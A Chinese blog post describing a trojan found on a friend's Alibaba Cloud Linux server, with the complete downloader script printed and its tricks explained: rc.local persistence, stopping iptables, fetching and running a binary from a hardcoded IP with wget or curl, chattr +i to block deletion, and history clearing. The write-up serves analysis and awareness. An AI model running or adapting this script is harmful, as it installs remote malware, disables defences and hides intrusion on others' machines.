一个木马下载脚本

帮一个朋友在阿里云Linux服务器上装软件,发现出奇的卡,终端上敲几个字就卡几十秒。ps -ef一看,发现两个可疑物:

/etc/tows
/etc/towgets.sh

乘着不卡,cat /etc/tows,擦,很明显的木马。哎,做点什么不好,黑人有啥好玩的!

Anyway,把脚本拿出来给大家学习下。涉及到如下几个技术点:

  • echo “sh /etc/towgets.sh &” >> /etc/rc.local: 开机自启动
  • history -c : 清理脚本命令history,尽量防止被人发现
  • chattr +i /etc/tows : root也删不了哦,需要先chattr -i之后才能rm
  • /etc/init.d/iptables stop : 防止防火墙阻止自己下代码(木马实体)
  • ps aux | grep “tows” | grep -v grep | awk ‘{print $2}’ 找tows有多少个,kill 防止启动多个实例
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                by:Tyrant
#                2015-02-12

if [ "sh /etc/towgets.sh &" = "$(cat /etc/rc.local | grep /etc/towgets.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/towgets.sh &" >> /etc/rc.local
    echo "/etc/init.d/iptables stop">>/etc/rc.local
    echo "nohup /etc/tows > /dev/null 2>&1 &">>/etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/etc/tows" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/etc/tows" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://222.186.58.233:58961/tows
                ./wget -P /etc/  http://222.186.58.233:58961/tows &> /dev/null

            else
                curl -o /etc/tows http://222.186.58.233:58961/tows
            fi
        fi
        /etc/init.d/iptables stop
        chmod +x /etc/tows
        rm wget -rf
        /etc/tows &
        #./etc/tows &
        chattr +i /etc/tows
        history -c

    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "tows" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    sleep 600
done

脚本本身没啥。至于卡顿,应该是tows写得比较挫,没处理好资源利用导致。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值